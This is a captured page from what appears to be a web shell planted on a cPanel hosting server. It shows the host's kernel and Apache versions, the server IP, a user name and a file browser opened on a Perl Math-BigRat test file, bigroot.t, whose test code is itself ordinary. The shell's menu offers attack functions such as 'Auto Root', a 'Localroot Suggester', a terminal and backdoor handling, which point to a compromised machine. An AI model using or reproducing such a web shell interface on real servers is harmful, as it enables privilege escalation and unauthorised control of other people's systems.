Linux cpanel2.daytoncreative.net 2.6.32-754.29.2.el6.x86_64 #1 SMP Tue May 12 17:39:04 UTC 2020 x86_64
Apache/2.4.43 (cPanel) OpenSSL/1.1.1g mod_bwlimited/1.4
Server IP : 70.62.220.67 & Your IP : 216.73.216.193
Domains :
Cant Read [ /etc/named.conf ]
User : michaelgreg
Terminal
Auto Root
Create File
Create Folder
Localroot Suggester
Backdoor Destroyer
Readme
/
var /
log /
perl-5.20.2 /
dist /
Math-BigRat /
t /
Delete
Unzip
Name
Size
Permission
Date
Action
Math
[ DIR ]
drwxr-xr-x
2015-02-14 16:56
big_ap.t
2.31
KB
-r--r--r--
2014-12-27 11:48
bigfltpm.inc
31.81
KB
-r--r--r--
2014-12-27 11:48
bigfltrt.t
385
B
-r--r--r--
2014-12-27 11:48
biglog.t
2.28
KB
-r--r--r--
2014-12-27 11:48
bigrat.t
9.77
KB
-r--r--r--
2014-12-27 11:48
bigratpm.inc
13.86
KB
-r--r--r--
2014-12-27 11:48
bigratpm.t
278
B
-r--r--r--
2014-12-27 11:48
bigratup.t
823
B
-r--r--r--
2014-12-27 11:48
bigroot.t
1.38
KB
-r--r--r--
2014-12-27 11:48
bitwise.t
368
B
-r--r--r--
2014-12-27 11:48
hang.t
383
B
-r--r--r--
2014-12-27 11:48
requirer.t
232
B
-r--r--r--
2014-12-27 11:48
trap.t
1.97
KB
-r--r--r--
2014-12-27 11:48
Save
Rename
#!/usr/bin/perl -w # Test broot function (and bsqrt() function, since it is used by broot()). # It is too slow to be simple included in bigfltpm.inc, where it would get # executed 3 times. # But it is better to test the numerical functionality, instead of not testing # it at all. use strict; use Test::More tests => 8 * 2; use Math::BigFloat; use Math::BigInt; my $cl = "Math::BigFloat"; my $c = "Math::BigInt"; # 2 ** 240 = # 1766847064778384329583297500742918515827483896875618958121606201292619776 test_broot ('2','240', 8, undef, '1073741824'); test_broot ('2','240', 9, undef, '106528681.3099908308759836475139583940127'); test_broot ('2','120', 9, undef, '10321.27324073880096577298929482324664787'); test_broot ('2','120', 17, undef, '133.3268493632747279600707813049418888729'); test_broot ('2','120', 8, undef, '32768'); test_broot ('2','60', 8, undef, '181.0193359837561662466161566988413540569'); test_broot ('2','60', 9, undef, '101.5936673259647663841091609134277286651'); test_broot ('2','60', 17, undef, '11.54672461623965153271017217302844672562'); sub test_broot { my ($x,$n,$y,$scale,$result) = @_; my $s = $scale || 'undef'; is ($cl->new($x)->bpow($n)->broot($y,$scale),$result, "Try: $cl $x->bpow($n)->broot($y,$s) == $result"); $result =~ s/\..*//; is ($c->new($x)->bpow($n)->broot($y,$scale),$result, "Try: $c $x->bpow($n)->broot($y,$s) == $result"); }